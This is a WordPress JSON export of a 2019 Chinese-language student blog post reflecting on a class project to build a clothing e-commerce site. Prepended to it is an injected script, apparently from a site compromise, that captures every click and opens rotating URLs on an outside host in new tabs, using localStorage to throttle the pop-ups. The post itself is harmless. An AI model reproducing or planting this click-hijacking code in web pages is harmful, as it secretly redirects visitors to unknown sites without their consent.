<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1392,"date":"2019-01-10T01:34:17","date_gmt":"2019-01-09T17:34:17","guid":{"rendered":"http:\/\/edu.secda.info\/vain7\/?p=1392"},"modified":"2019-01-10T01:47:47","modified_gmt":"2019-01-09T17:47:47","slug":"20180110%e4%ba%92%e9%80%a3%e5%b9%b3%e5%8f%b0%e8%88%87%e9%9b%bb%e5%95%86%e5%bf%83%e5%be%97","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/vain7\/?p=1392","title":{"rendered":"20190110\u4e92\u9023\u5e73\u53f0\u8207\u96fb\u5546\u5fc3\u5f97"},"content":{"rendered":"<p>\u7e7c\u4e0a\u6b21\u5206\u6790\u4e86\u5176\u4ed6\u4e09\u5bb6\u54c1\u724c\u5f8c\uff0c\u6211\u5011\u5c07\u4ed6\u5011\u5728\u7db2\u7ad9\u4e0a\u7684\u512a\u9ede\u5217\u51fa\u4e26\u6295\u5165\u5728\u6211\u5011\u7684\u7db2\u7ad9\u4e0a\u3002\u800c\u6211\u5011\u7db2\u7ad9\u7684\u4e3b\u8981\u76ee\u6a19\u5c31\u662f\u8981\u5e6b\u6bcf\u500b\u4eba\u627e\u5230\u81ea\u5df1\u7684\u98a8\u683c\uff0c\u5728\u9019\u65b9\u9762\uff0c\u539f\u672c\u53ea\u60f3\u7d93\u71df\u985e\u4f3c\u8766\u76ae\u3001\u6dd8\u5bf6\u7684\u90a3\u7a2e\u7db2\u8def\u8ce3\u5834\uff0c\u53ea\u662f\u63db\u6210\u4ee5\u8863\u7269\u70ba\u4e3b\u8981\u92b7\u552e\u9805\u76ee\u3002\u4f46\u5f8c\u4f86\u8001\u5e2b\u6709\u5efa\u8b70\u6211\u5011\u8aaa\u53ef\u4ee5\u589e\u52a0\u5176\u4ed6\u7684\u9805\u76ee\uff0c\u6bd4\u65b9\u8aaa\u958b\u73ed\u6388\u8ab2\u554a\u3001\u661f\u5ea7\u5360\u535c\u554a\u7b49\u7b49\uff0c\u80fd\u8b93\u6211\u5011\u7db2\u9801\u66f4\u52a0\u5b8c\u5584\uff0c\u5f62\u8c61\u66f4\u9bae\u660e\u3002\u7b2c\u4e00\u6b21\u67b6\u8a2d\u81ea\u5df1\u7684\u7db2\u7ad9\u771f\u7684\u662f\u624b\u5fd9\u8173\u4e82\uff0c\u597d\u5728\u5927\u5bb6\u90fd\u5206\u5de5\u5408\u4f5c\uff0c\u5404\u53f8\u5176\u8077\uff0c\u8b93\u7db2\u7ad9\u5f97\u4ee5\u578b\uff0c\u4e5f\u5f88\u611f\u8b1d\u8001\u5e2b\u4e0d\u65b7\u5730\u5e6b\u6211\u5011\u89e3\u6c7a\u554f\u984c\uff0c\u8b93\u6211\u5011\u7684\u7db2\u7ad9\u66f4\u5b8c\u5584\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u7e7c\u4e0a\u6b21\u5206\u6790\u4e86\u5176\u4ed6\u4e09\u5bb6\u54c1\u724c\u5f8c\uff0c\u6211\u5011\u5c07\u4ed6\u5011\u5728\u7db2\u7ad9\u4e0a\u7684\u512a\u9ede\u5217\u51fa\u4e26\u6295 [&hellip;]<\/p>\n","protected":false},"author":20,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/posts\/1392"}],"collection":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/users\/20"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1392"}],"version-history":[{"count":2,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/posts\/1392\/revisions"}],"predecessor-version":[{"id":1396,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=\/wp\/v2\/posts\/1392\/revisions\/1396"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1392"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1392"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/vain7\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1392"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}